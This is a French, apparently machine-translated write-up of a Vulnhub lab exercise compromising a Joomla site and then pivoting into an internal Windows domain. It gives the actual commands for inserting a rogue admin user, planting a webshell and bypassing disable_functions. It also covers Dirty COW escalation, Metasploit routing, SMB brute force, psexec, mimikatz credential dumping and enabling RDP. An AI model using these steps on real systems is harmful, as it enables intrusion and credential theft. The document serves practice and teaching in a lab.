Configuration de l'environnement
L'environnement du site officiel à télécharger vers le bas, il suffit d'ajouter la carte appropriée un VMNET2 et un segment IP192.168.93.0/24
Besoin d'entrer centos pour redémarrer la carte réseau, au moins je l'ai fait pour trouver l'IP.
Cet article comprend des exercices pratiques sur des points de connaissances: Joomla de Vulnhub (cette leçon explique principalement les exercices *** complets de Vulnhub *** teste le champ de tir de combat réel sur Joomla CMS, à travers cette expérience, apprenez la collecte d'informations, l'analyse de vulnérabilité et l'utilisation du test *** , Le privilège est élevé et finalement le drapeau sous / root est obtenu.)
Topologie
Entrée WEB
Découverte d'hôte
nmap -sn 192.168.124.0/24
Port
nmap -sS 192.168.124.16
Trois ports ont été collectés, nous ne les analyserons donc pas tous pour le moment. Regardez d'abord la page d'accueil du site Web, comme suit.
site Internet
C'est une page Web de joomla, et un administrateur est placé derrière l'url. Vous pouvez voir l'arrière-plan, voir l'arrière-plan et voir l'arrière-plan . Je suis toujours une personne plus optimiste, je veux toujours essayer un ou deux mots de passe faibles. La réalité me donnera toujours une claque retentissante et échouera.
J'ai dû extraire dirsearch, puis analyser le répertoire:
Ceci est php~
le suffixe à la fin et ne doit pas être exécuté en tant que php, donc,
À ce stade, vous pouvez vous connecter à la base de données, puis trouver le mot de passe pour entrer en arrière-plan.
Voulez-vous toujours que je souffle? Si vous me laissez exploser, ce doit être un mot de passe faible. Allez d'abord à la puce en ligne (dictionnaire), sortez le gros ananas (john) et balayez-le simplement. Lorsque la balle est terminée et que l'ennemi ne bouge pas du tout, alors déclarez un échec. On dit que l'échec est le père du succès. Puis j'ai changé d'avis pour en construire un identique localement. Copiez ensuite le champ de mot de passe de votre mysql dans la base de données cible ou ajoutez un nouvel utilisateur. Trop paresseux est le péché d'origine. Ensuite, trouvez une méthode à ajouter directement à la base de données sur Internet, à < https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn> ;
Changez-le simplement en nom de table sur la machine cible:
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
# 这里就是添加了一个admin2的用户,密码为secret
Bien que le format du mot de passe soit différent, il peut toujours entrer en arrière-plan.
Vous pouvez modifier le code source du site Web dans le modèle: Extensions -> Modèles, insérer une phrase dans index.php et l'enregistrer.
Il est temps de montrer l'épée de Shangfang-l'épée de fourmi, le coup fatal est entré dans l'intranet. Puis il s'est renversé
Ce ,,, s'est avéré être une fonction dangereuse qui a été désactivée. Bien que la commande ne puisse pas être exécutée, la version de php peut être vue, qui est php7. Ensuite, j'ai trouvé que Ant Sword avait un plug-in spécial pour contourner disable_function, qui a une bonne posture et un peu renard. Ensuite, essayez un par un pour contourner php7.
En cas de contournement, une nouvelle interface shell interactive apparaîtra
Intranet ***
La permission est trop faible, c'est une permission www-data. Je crois qu'après beaucoup d'efforts pour utiliser diverses postures pour augmenter le pouvoir, il y aura toujours du désespoir. Il se peut que vous n'ayez pas fait un bon travail de collecte d'informations, en recherchant: les tâches chronométrées, / home, / etc / passwd, le répertoire racine du site Web, le répertoire / tmp. Enfin, /tmp/mysql/test.txt
voyez le nom d'utilisateur et le mot de passe dans
Mais l'utilisateur wwwuser n'a pas été trouvé sur cette machine. Essayez simplement sans commettre de crime.
At-il réussi? Il est supposé que le transfert doit être effectué pour transmettre la demande http à l'hôte sur le réseau interne, et le réseau interne peut continuer à ***.
Il y a trois cartes réseau de l'hôte connectées par ssh, l'une est connectée au réseau externe et l'autre est connectée au réseau interne.
Ensuite, l'hôte de ce réseau externe a été soulevé, et tout s'est bien passé, et il a semblé être prêt. J'ai vu que le noyau était 2.6.32 et que c'était un système d'exploitation centos, et j'ai utilisé directement des vaches sales pour augmenter les droits.
Obtenez une session msf, puis ***.
Arrière***
Ajouter un itinéraire
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.93.0/255.255.255.0
Détecter la survie des hôtes internes
# 针对windows
use auxiliary/scanner/smb/smb_version
# linux
use auxiliary/scanner/discovery/arp_sweep 用这个没有探测出windows主机
Enfin tous les hôtes sont comme suit
Trois fenêtres, deux utilisant ms17-010, en vain. Aucun des deux ne peut avoir de conversation.
Ah, ça ... Enfin, j'ai emprunté la méthode des autres, qui s'est avérée être explosive. Le dictionnaire n'était pas assez fort, et finalement le mot de passe a été ajouté au dictionnaire (impuissant). Si j'éclate
use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE /root/桌面/passlist
Engagez la conversation. La situation actuelle est que Windows est dans le réseau interne. L'itinéraire ajouté consiste à amener la machine VPN sur le réseau interne. Si vous utilisez reverse_tcp, vous ne pouvez pas vous connecter et vous ne pouvez vous connecter que dans le sens aller.
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
Ensuite, j'ai eu deux sessions, cet exploit nécessite encore quelques tentatives.
Vérifiez si vous êtes dans l'environnement du domaine
meterpreter > sysinfo
Supprimer le contrôle de domaine
Recherchez l'enregistrement de la connexion du contrôleur de domaine sur server2008, puis utilisez mimikatz pour obtenir le mot de passe du contrôleur de domaine en texte clair.
load mimikatz
mimikatz_command -f privilege::debug
mimikatz_command -f sekurlsa::logonPasswords
Obtenez le mot de passe du compte administrateur de domaine. En raison de la particularité du mot de passe, l'utilisation de wmiexec.py a échoué. Les deux !!
sont des symboles spéciaux sous Linux, ce qui signifie de réexécuter la commande précédente. Ensuite, récupérez le shell via la méthode suivante
L'utilisateur actuel est
Connexion à distance
run post/windows/manage/enable_rdp
proxychains rdesktop 192.168.93.20